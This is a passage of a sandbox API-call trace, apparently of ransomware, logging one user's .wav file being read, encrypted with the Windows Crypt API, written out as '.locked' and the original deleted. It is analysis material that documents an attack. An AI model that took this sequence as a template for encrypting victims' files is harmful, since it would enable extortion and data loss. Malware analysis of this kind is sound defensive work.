[5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.367] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x95, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.367] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.367] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav")) returned 0x20 [0133.367] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav")) returned 0x20 [0133.367] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.367] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.368] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.368] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.368] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.368] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.368] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.368] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x96, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.368] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.369] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.369] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.370] GetFileType (hFile=0x858) returned 0x1 [0133.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.370] GetFileType (hFile=0x858) returned 0x1 [0133.370] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.370] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.370] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.370] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x97, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.370] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.371] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked", lpFilePart=0x0) returned 0x4c [0133.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.371] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.371] GetFileType (hFile=0x874) returned 0x1 [0133.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.371] GetFileType (hFile=0x874) returned 0x1 [0133.371] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.371] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x69a80d4 | out: pbBuffer=0x69a80d4) returned 1 [0133.371] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.372] CryptDuplicateKey (in: hKey=0x8e84d38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84f78) returned 1 [0133.372] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.372] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x4, pbData=0x69a9390*=0x1, dwFlags=0x0) returned 1 [0133.372] CryptSetKeyParam (hKey=0x8e84f78, dwParam=0x1, pbData=0x69a935c, dwFlags=0x0) returned 1 [0133.372] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xef70\x437\x242") returned 0x0 [0133.372] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.372] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x98, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.372] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.372] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.372] ReadFile (in: hFile=0x858, lpBuffer=0x69ac9b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69ac9b4*, lpNumberOfBytesRead=0x99ae7a8*=0x130da, lpOverlapped=0x0) returned 1 [0133.373] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69c09c0*, pdwDataLen=0x99ae79c*=0x130d0, dwBufLen=0x130d0 | out: pbData=0x69c09c0*, pdwDataLen=0x99ae79c*=0x130d0) returned 1 [0133.373] WriteFile (in: hFile=0x874, lpBuffer=0x69a8194*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69a8194*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0133.374] WriteFile (in: hFile=0x874, lpBuffer=0x69c19ac*, nNumberOfBytesToWrite=0x120e4, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69c19ac*, lpNumberOfBytesWritten=0x99ae780*=0x120e4, lpOverlapped=0x0) returned 1 [0133.375] ReadFile (in: hFile=0x858, lpBuffer=0x69ac9b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69ac9b4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0133.375] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69d3ab4*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69d3ab4*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0133.375] CryptEncrypt (in: hKey=0x8e84f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69d3ae8*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69d3ae8*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0133.375] WriteFile (in: hFile=0x874, lpBuffer=0x69a8194*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69a8194*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0133.375] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.375] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.375] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.375] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x99, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.375] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.375] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav")) returned 0x20 [0133.376] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.376] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.376] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0133.376] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.376] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0133.376] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.376] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0133.376] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.376] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0133.376] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.376] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0133.376] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.376] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0133.376] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.377] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0133.377] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.377] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97")) returned 0x10 [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97", lpFilePart=0x0) returned 0x2f [0133.377] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav")) returned 0x20 [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.377] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav\\", lpFilePart=0x0) returned 0x46 [0133.378] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0133.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0133.378] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0133.378] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0133.378] CoTaskMemFree (pv=0x8eb8930) [0133.379] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav")) returned 0x20 [0133.379] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.379] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav", lpFilePart=0x0) returned 0x45 [0133.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0133.379] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav"), fInfoLevelId=0x0, lpFileInformation=0x69e9af8 | out: lpFileInformation=0x69e9af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ac65e0, ftCreationTime.dwHighDateTime=0x1d4ae2e, ftLastAccessTime.dwLowDateTime=0xea5dc220, ftLastAccessTime.dwHighDateTime=0x1d4a8bf, ftLastWriteTime.dwLowDateTime=0xea5dc220, ftLastWriteTime.dwHighDateTime=0x1d4a8bf, nFileSizeHigh=0x0, nFileSizeLow=0x130da)) returned 1 [0133.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0133.379] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\29WacU_ZG_W0bfhpP97\\4B4ePZC2t6LAG3WB7.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\29wacu_zg_w0bfhpp97\\4b4epzc2t6lag3wb7.wav")) returned 1 [0133.381] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, 